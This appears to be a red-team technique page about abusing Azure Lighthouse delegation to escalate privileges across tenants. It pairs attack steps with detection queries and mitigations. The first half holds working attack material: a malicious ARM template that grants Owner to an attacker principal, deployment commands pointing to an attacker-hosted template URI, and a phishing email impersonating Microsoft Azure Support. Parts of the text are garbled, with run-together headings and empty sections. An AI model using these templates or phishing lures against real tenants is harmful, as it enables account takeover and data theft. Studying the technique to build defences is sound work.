| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-017 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Privilege Escalation |
| Platforms | Entra ID (Azure Lightweight delegated access) |
| Severity | Critical – Enables cross-tenant privilege escalation and lateral movement |
| CVE | N/A |
| Technique Status | ACTIVE – Works on all current Azure Lighthouse implementations (as of January 2026) |
| Last Verified | 2026-01-09 |
| Affected Versions | All Azure Lighthouse deployments (tenant-agnostic) |
| Patched In | N/A (No patch exists; mitigation required) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Lighthouse enables cross-tenant delegated resource management, allowing a managing tenant’s authorized users to access and manage customer resources without sharing credentials. However, when an attacker compromises or tricks an administrator into accepting a malicious Lighthouse delegation request, they can escalate privileges by abusing the delegated role assignments. The attack exploits the trust model between tenants—once delegated access is accepted, the attacker gains role-based permissions across the customer’s Azure subscription(s), often including Owner or Contributor roles with no audit trail linking back to the original compromise vector.
Attack Surface: Azure Portal (Lighthouse delegated access templates), Azure Resource Manager API (delegated role assignments), cross-tenant authorization flow.
Business Impact: Tenant compromise, unauthorized resource access, lateral movement to cloud resources, potential data exfiltration or ransomware deployment. An attacker with compromised credentials in a service provider tenant can trick or hijack an admin account to accept a Lighthouse delegation, instantly gaining administrative rights over customer subscriptions worth millions in compute, storage, and data assets—all without being visible in native Azure audit logs at the subscription level.
Technical Context: Attack execution is nearly instantaneous once delegation is accepted. Detection is difficult because the attack relies on legitimate Azure Lighthouse functionality and can occur with minimal suspicious activity (e.g., a simple email with a delegation link). The attacker’s identity is obscured at the resource level; attribution requires cross-tenant log correlation.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.1.2 | Ensure that ‘Global Administrators’ are limited to 5 or fewer |
| CIS Benchmark | 7.4 | Ensure that no custom admin roles are created |
| DISA STIG | AZ-MS-000090 | Ensure that role assignments are managed through role-based access control (RBAC) |
| NIST 800-53 | AC-3 (Access Enforcement) | Access control policies must be enforced to prevent unauthorized access |
| NIST 800-53 | AC-6 (Least Privilege) | Least privilege must be enforced; authorization must be restricted to minimum necessary roles |
| NIST 800-53 | AC-2 (Account Management) | Account management procedures and controls must be in place to manage administrator accounts |
| GDPR | Art. 32 (Security of Processing) | Organizational measures must include access controls to prevent unauthorized processing |
| DORA | Art. 9 (Protection and Prevention) | Policies for access and approval procedures must be implemented for critical operations |
| NIS2 | Art. 21 (Cyber Risk Management Measures) | Multi-factor authentication and logging of privileged access must be required |
| ISO 27001 | A.9.2.3 (Management of Privileged Access Rights) | Privileged access rights must be restricted and controlled through documented procedures |
| ISO 27005 | Risk Scenario: “Compromise of Administration Interface” | Risk of unauthorized administrative access via delegation mechanisms |
Supported Versions:
Tools:
Supported Versions: All Azure Lighthouse versions
Objective: Identify target customer organization and corresponding service provider relationships.
Command:
# Enumerate current Lighthouse delegations in target tenant
# (Run from managing tenant context)
Get-AzDelegation -Verbose
Expected Output:
Id : /subscriptions/[subscription-id]/resourceGroups/[rg-name]/providers/Microsoft.ManagedServices/registrationAssignments/[assignment-id]
Name : [Service Provider Name]
Type : Microsoft.ManagedServices/registrationAssignments
CustomerTenantId : [customer-tenant-id]
DelegatedResources : [list of delegated subscriptions/resource groups]
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Create a custom Azure Resource Manager template that includes malicious role assignments disguised as legitimate Lighthouse delegation.
Version Note: Template syntax is identical across all Azure versions; ARM deployment engine processes templates consistently.
Command (Azure CLI - Deploy Malicious Template):
# Create malicious ARM template file
cat > lighthouse-malicious.json <<'EOF'
{
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"mspOfferName": {
"type": "string",
"metadata": {
"description": "Provide a name for the MSP Offer"
}
},
"mspOfferDescription": {
"type": "string",
"metadata": {
"description": "Name of the Managed Service Provider offering"
}
},
"managingTenantId": {
"type": "string",
"metadata": {
"description": "Provide the managing tenant id"
}
},
"authorizationIds": {
"type": "array",
"metadata": {
"description": "Provide object IDs of principals to delegate access to"
}
}
},
"variables": {
"mspRegistrationName": "[guid(parameters('mspOfferName'))]",
"mspAssignmentName": "[guid(parameters('mspOfferName'))]"
},
"resources": [
{
"type": "Microsoft.ManagedServices/registrationDefinitions",
"apiVersion": "2019-06-01",
"name": "[variables('mspRegistrationName')]",
"properties": {
"registrationDefinitionName": "[parameters('mspOfferName')]",
"description": "[parameters('mspOfferDescription')]",
"managedByTenantId": "[parameters('managingTenantId')]",
"authorizations": [
{
"principalId": "[parameters('authorizationIds')[0]]",
"roleDefinitionId": "[concat('/subscriptions/', subscription().subscriptionId, '/providers/Microsoft.Authorization/roleDefinitions/', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]"
}
]
}
},
{
"type": "Microsoft.ManagedServices/registrationAssignments",
"apiVersion": "2019-06-01",
"name": "[variables('mspAssignmentName')]",
"dependsOn": [
"[resourceId('Microsoft.ManagedServices/registrationDefinitions', variables('mspRegistrationName'))]"
],
"properties": {
"registrationDefinitionId": "[resourceId('Microsoft.ManagedServices/registrationDefinitions', variables('mspRegistrationName'))]"
}
}
]
}
EOF
# Deploy template (attacker-controlled template deployed to customer subscription)
az deployment group create \
--name "LighthouseDeployment" \
--resource-group "target-rg" \
--template-file lighthouse-malicious.json \
--parameters \
mspOfferName="Trusted IT Support" \
mspOfferDescription="Premium IT Support Services" \
managingTenantId="attacker-tenant-id" \
authorizationIds='["attacker-principal-object-id"]'
Command (PowerShell - Deploy Malicious Template):
# Connect to customer tenant (compromised or social-engineered)
Connect-AzAccount -Tenant "customer-tenant-id"
# Define parameters
$params = @{
mspOfferName = "Trusted IT Support"
mspOfferDescription = "Premium IT Support Services"
managingTenantId = "attacker-tenant-id"
authorizationIds = @("attacker-principal-object-id")
}
# Deploy ARM template
$deployment = New-AzResourceGroupDeployment `
-Name "LighthouseDeployment" `
-ResourceGroupName "target-rg" `
-TemplateFile "./lighthouse-malicious.json" `
-TemplateParameterObject $params
Write-Host "Delegation deployed: $($deployment.DeploymentId)"
Expected Output:
ProvisioningState : Succeeded
DeploymentId : /subscriptions/[customer-subscription]/deploymentGroup/LighthouseDeployment
Outputs : {}
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-AzADServicePrincipalObjective: Trick customer administrator into accepting the malicious delegation by sending a phishing email with delegation link.
Command (Generate Delegation Link):
# Generate Azure Portal link to accept delegation
$delegationLink = "https://portal.azure.com/#create/Microsoft.Template/uri/https%3A%2F%2Fraw.githubusercontent.com%2Fattacker%2Fmalicious-templates%2Fmain%2Flighthouse-malicious.json"
# Send email with social engineering pretext
$emailBody = @"
Subject: URGENT: Critical IT Support Integration Required
Body:
Dear Customer Administrator,
Microsoft has detected that your subscription requires immediate integration with our trusted IT support partner for compliance and security updates.
Please click the link below to activate the integration within the next 24 hours:
$delegationLink
Failure to complete this step may result in service restrictions.
Best regards,
Microsoft Azure Support Team
"@
# (Attacker would send via external mail service to avoid detection)
Write-Host $emailBody
Expected Output: (Email sent to target administrator)
What This Means:
OpSec & Evasion:
Supported Versions: All Azure Lighthouse versions
Objective: Compromise or gain access to customer tenant admin account with Contributor or Owner role.
Command (Reconnaissance - List Available Service Principals):
# After gaining access to customer tenant
Get-AzServicePrincipal | Where-Object { $_.AppOwnerTenantId -eq "attacker-tenant-id" } | Select-Object DisplayName, Id
Expected Output:
DisplayName Id
----------- --
Attacker-Controlled-Service-Principal 12345678-1234-1234-1234-123456789012
What This Means:
OpSec & Evasion:
Objective: Use compromised admin credentials to deploy malicious Lighthouse template.
Command:
# Export delegation template (attacker uploads to public GitHub or Azure Blob Storage)
TEMPLATE_URI="https://raw.githubusercontent.com/attacker/templates/lighthouse-malicious.json"
# Deploy using compromised credentials
az deployment group create \
--resource-group "customer-rg" \
--template-uri "$TEMPLATE_URI" \
--parameters \
mspOfferName="Azure Compliance Update" \
mspOfferDescription="Automated Compliance Enforcement" \
managingTenantId="attacker-tenant-id" \
authorizationIds='["attacker-sp-object-id"]'
Expected Output:
Deployment succeeded. Outputs: {}
What This Means:
OpSec & Evasion:
Supported Versions: All Azure Lighthouse versions (most common for social engineering)
Objective: Access Azure Portal and navigate to Lighthouse service delegation UI.
Manual Steps:
Step 2: Provide Template Details
Manual Steps:
Trusted IT PartnerEnterprise Support ServicesOwner or ContributorStep 3: Verify Delegation Acceptance
Command (Verify Delegation):
# List all Lighthouse delegations (run from customer tenant)
Get-AzDelegation | Select-Object Name, CustomerTenantId, DelegatedResources
# Verify attacker has access
Get-AzRoleAssignment | Where-Object { $_.RoleDefinitionName -eq "Owner" } | Select-Object DisplayName, RoleDefinitionName, Scope
Expected Output:
Name CustomerTenantId DelegatedResources
---- ---------------- ------------------
Trusted IT Partner [customer-tenant-id] /subscriptions/[subscription-id]
DisplayName RoleDefinitionName Scope
----------- ------------------ -----
Attacker-Service-Principal Owner /subscriptions/[subscription-id]
What This Means:
OpSec & Evasion:
Objective: Confirm attacker has administrative access to customer resources.
Command (List Resources in Delegated Subscription):
# Switch to managing tenant context
Connect-AzAccount -Tenant "attacker-tenant-id"
# Enumerate delegated resources
Get-AzSubscription | Where-Object { $_.SubscriptionName -like "*customer*" }
# List all VMs, storage accounts, etc. in delegated subscription
Get-AzVM -ResourceGroupName "customer-rg" | Select-Object Name, ResourceGroupName, Location
Get-AzStorageAccount -ResourceGroupName "customer-rg" | Select-Object StorageAccountName, ResourceGroupName
Expected Output:
ResourceId VMName ResourceGroupName
---------- ------ -----------------
/subscriptions/[customer-subscription]/resourceGroups/customer-rg/... customer-vm-01 customer-rg
/subscriptions/[customer-subscription]/resourceGroups/customer-rg/... customer-vm-02 customer-rg
StorageAccountName ResourceGroupName AccessTier
------------------ ----------------- ----------
customerdata001 customer-rg Hot
What This Means:
OpSec & Evasion:
Atomic Test ID: T1078.004 (Valid Accounts: Cloud Accounts)
Test Name: Entra ID Cloud Account Privilege Escalation via Azure Lighthouse Delegation
Description: Simulates a compromised service principal that accepts a malicious Azure Lighthouse delegation to gain cross-tenant Owner permissions.
Supported Versions: All Azure Lighthouse versions
Command:
# Invoke Atomic Red Team test for T1078.004
Invoke-AtomicTest T1078.004 -TestNumbers 1
Cleanup Command:
# Remove malicious delegation
Remove-AzDelegation -DelegationId "[delegation-id]"
# Remove role assignments created by delegation
Remove-AzRoleAssignment -ObjectId "[attacker-principal-id]" -RoleDefinitionName "Owner" -Scope "/subscriptions/[customer-subscription]"
Reference: Atomic Red Team - T1078.004
Version: Current (Web-based, always latest) Minimum Version: N/A (Web service) Supported Platforms: Windows, macOS, Linux (browser-based)
Installation: No installation required; access via browser
Usage:
1. Navigate to https://portal.azure.com
2. Authenticate with credentials
3. Search for "Lighthouse" in search bar
4. Select "Delegations"
5. Review active delegations and their role assignments
Version: 2.30+ Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux
Installation:
# On macOS (Homebrew)
brew install azure-cli
# On Linux (apt)
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
# On Windows (PowerShell)
$ProgressPreference = 'SilentlyContinue'; Invoke-WebRequest -Uri https://aka.ms/installazurecliwindows -OutFile WebClient.DownloadFile
Usage - Deploy Malicious Lighthouse Delegation:
az deployment group create \
--name "LighthouseDeployment" \
--resource-group "target-rg" \
--template-file ./lighthouse-malicious.json \
--parameters authorizationIds='["attacker-principal-id"]'
Version: 5.0+ Minimum Version: 3.0 Supported Platforms: Windows, macOS, Linux (PowerShell Core)
Installation:
# Install from PowerShell Gallery
Install-Module -Name Az -Repository PSGallery -Force
# Update to latest version
Update-Module -Name Az
Usage - List Delegations:
Connect-AzAccount -Tenant "customer-tenant-id"
Get-AzDelegation -Verbose
Rule Configuration:
AuditLogs (Azure AD Audit)OperationName, InitiatedBy, TargetResources, ResultKQL Query:
AuditLogs
| where OperationName in ("Create managed services registration assignment", "Create managed services registration definition")
| where Result == "success"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
| extend InitiatorIPAddress = tostring(InitiatedBy.user.ipAddress)
| extend TargetResourceId = tostring(TargetResources[0].id)
| extend DelegationDetails = tostring(TargetResources[0].modifiedProperties)
| where DelegationDetails contains "Owner" or DelegationDetails contains "Contributor"
| project TimeGenerated, InitiatorUPN, InitiatorIPAddress, OperationName, TargetResourceId, DelegationDetails, Result
| summarize count() by InitiatorUPN, OperationName
| where count_ > 1
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Lighthouse Delegation CreationCritical5 minutes1 hourCritical to CriticalManual Configuration Steps (PowerShell):
# Connect to Sentinel workspace
Connect-AzAccount
$ResourceGroup = "sentinel-rg"
$WorkspaceName = "sentinel-workspace"
# Create the analytics rule
New-AzSentinelAlertRule `
-ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName "Suspicious Lighthouse Delegation Creation" `
-Query @"
AuditLogs
| where OperationName in ("Create managed services registration assignment", "Create managed services registration definition")
| where Result == "success"
| extend InitiatorUPN = tostring(InitiatedBy.user.userPrincipalName)
"@ `
-Severity "Critical" `
-Enabled $true
Source: Microsoft Lighthouse Security Documentation
Rule Configuration:
AuditLogsOperationName, TargetResources, AdditionalDetailsKQL Query:
AuditLogs
| where OperationName == "Create managed services registration assignment"
| where Result == "success"
| extend ManagedByTenantId = tostring(parse_json(TargetResources[0].modifiedProperties)[0].newValue)
| where ManagedByTenantId !in ("known-partner-tenant-1", "known-partner-tenant-2", "known-csp-tenant")
| extend PrincipalId = tostring(parse_json(TargetResources[0].modifiedProperties)[1].newValue)
| extend RoleAssigned = tostring(parse_json(TargetResources[0].modifiedProperties)[2].newValue)
| extend SubscriptionScope = tostring(TargetResources[0].resourceName)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, ManagedByTenantId, PrincipalId, RoleAssigned, SubscriptionScope
What This Detects:
False Positive Analysis:
Source: Azure Lighthouse Best Practices
Note: Lighthouse delegations are Azure-native operations and do not generate Windows Event Log entries on on-premises systems. Monitoring is entirely cloud-based via Azure Audit Logs and Activity Logs.
Alert Name: “Suspicious Lighthouse delegated access assignment detected”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Azure Lighthouse Alerts
PowerShell Command:
# Connect to Exchange Online (for Unified Audit Log access)
Connect-ExchangeOnline -Tenant "customer-tenant-id"
# Search for Lighthouse delegation events
Search-UnifiedAuditLog `
-Operations "Add delegated access" `
-StartDate (Get-Date).AddDays(-90) `
-EndDate (Get-Date) `
-ResultSize 5000 | Export-Csv -Path "C:\Audits\Delegations.csv"
# Search for role assignment changes
Search-UnifiedAuditLog `
-Operations "Add role assignment" `
-StartDate (Get-Date).AddDays(-7) `
-ResultSize 5000 | Select-Object TimeGenerated, UserIds, AuditData | Format-Table
Manual Configuration Steps (Enable Unified Audit Log):
Applies To: Azure subscription and tenant-level operations
Restrict Lighthouse Delegation Acceptance: Only Global Administrators or designated service principal owners should have permission to create or approve Lighthouse delegations. Implement Azure Policy to audit all delegations.
Applies To Versions: All Azure Lighthouse versions
Manual Steps (Azure Policy - Deny Unauthorized Delegations):
Deny unauthorized Lighthouse delegations{
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.ManagedServices/registrationAssignments"
},
{
"field": "Microsoft.ManagedServices/registrationAssignments/managedByTenantId",
"notIn": ["approved-tenant-1", "approved-tenant-2"]
}
]
},
"then": {
"effect": "Deny"
}
}
Manual Steps (PowerShell):
# Create custom policy assignment
$PolicyDefinition = @{
Name = "DenyUnauthorizedLighthouse"
DisplayName = "Deny unauthorized Lighthouse delegations"
Mode = "All"
Policy = @{
if = @{
allOf = @(
@{ field = "type"; equals = "Microsoft.ManagedServices/registrationAssignments" },
@{ field = "Microsoft.ManagedServices/registrationAssignments/managedByTenantId"; notIn = @("approved-tenant-1") }
)
}
then = @{ effect = "Deny" }
}
}
New-AzPolicyDefinition @PolicyDefinition
Enable MFA for Delegation Acceptance: Enforce Multi-Factor Authentication on any account that can accept Lighthouse delegations.
Manual Steps:
Require MFA for Lighthouse DelegationImplement Privileged Identity Management (PIM): Require approval and time-based activation for any account accepting Lighthouse delegations.
Manual Steps:
Audit all Lighthouse Delegations Regularly: Review active delegations monthly against known service provider list.
Manual Steps:
Restrict Role Scope: Instead of delegating Owner or Contributor roles at subscription level, delegate specific roles (e.g., Reader, Operator) scoped to resource groups only.
Manual Steps:
/subscriptions/[subscription-id] (too broad)/subscriptions/[subscription-id]/resourceGroups/[rg-name] (specific RG only)Manual Steps:
Block Legacy Auth for LighthouseMicrosoft.ManagedServices/registrationAssignments/write permissionManual Steps (Custom RBAC Role):
Lighthouse Delegation ApproverMicrosoft.ManagedServices/registrationAssignments/readMicrosoft.ManagedServices/registrationAssignments/writeMicrosoft.ManagedServices/registrationAssignments/delete# Verify no unauthorized Lighthouse delegations exist
Get-AzDelegation | Where-Object { $_.ManagedByTenantId -notin @("known-partner-tenant-1", "known-partner-tenant-2") }
# If output is empty, no unauthorized delegations exist
# If output contains delegations, investigate immediately
# Verify MFA is required for delegation acceptance
Get-AzPolicyDefinition | Where-Object { $_.DisplayName -contains "Lighthouse" } | Select-Object DisplayName
Expected Output (If Secure):
(No output = No unauthorized delegations)
DisplayName
-----------
Deny unauthorized Lighthouse delegations
What to Look For:
OperationName: “Create managed services registration assignment”OperationName: “Create managed services registration definition”Result: Success/subscriptions/[subscription-id]/providers/Microsoft.Authorization/auditEvents (ARM Audit Log)# Identify malicious delegation
$delegation = Get-AzDelegation | Where-Object { $_.ManagedByTenantId -eq "attacker-tenant-id" }
# Remove delegation
Remove-AzDelegation -DelegationId $delegation.Id -Force
# Verify removal
Get-AzDelegation | Where-Object { $_.ManagedByTenantId -eq "attacker-tenant-id" } | Measure-Object
# (Should return Count: 0)
Manual (Azure Portal):
# Export comprehensive audit trail
Connect-ExchangeOnline
Search-UnifiedAuditLog `
-Operations "Create managed services registration*" `
-StartDate "2024-01-01" `
-EndDate (Get-Date) `
-ResultSize 5000 | `
Export-Csv -Path "C:\Incident_Response\Lighthouse_Audit.csv"
# Export role assignments at time of incident
$IncidentTime = Get-Date "2024-06-15 14:30:00"
Get-AzRoleAssignment | Where-Object { $_.RoleDefinitionName -eq "Owner" } | `
Select-Object DisplayName, RoleDefinitionName, Scope, ObjectId | `
Export-Csv -Path "C:\Incident_Response\RoleAssignments_Incident.csv"
Manual (Azure Portal):
# Remove attacker service principal role assignments
$attackerPrincipalId = "attacker-sp-object-id"
Get-AzRoleAssignment | Where-Object { $_.ObjectId -eq $attackerPrincipalId } | `
Remove-AzRoleAssignment -Force
# Force sign-out of compromised admin accounts
Disconnect-AzAccount
# Reset compromised admin password
$compromisedAdmin = Get-AzADUser -UserPrincipalName "admin@compromised.com"
# (Requires Entra ID PowerShell module)
# Enable re-authentication for all active sessions
Manual (Azure Portal):
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-CLOUD-002] ROADtools Entra ID enumeration | Attacker enumerates admin users and service principals in customer tenant |
| 2 | Initial Access | [IA-PHISH-001] Device code phishing attacks | Attacker sends phishing email with Lighthouse delegation link |
| 3 | Credential Access | [CA-TOKEN-001] Hybrid AD cloud token theft | Attacker compromises admin credentials via phishing or credential stuffing |
| 4 | Privilege Escalation (Current Step) | [PE-VALID-017] | Attacker accepts malicious Lighthouse delegation, gaining Owner role on customer subscription |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates additional Global Admin account for persistent access |
| 6 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Attacker uses service principal credentials to access other cloud resources |
| 7 | Collection | [COLLECTION-016] Cloud Resource Enumeration | Attacker discovers sensitive data (databases, storage accounts, Key Vaults) |
| 8 | Exfiltration | [EXFIL-001] Data Download via Delegated Access | Attacker downloads sensitive data from customer subscriptions |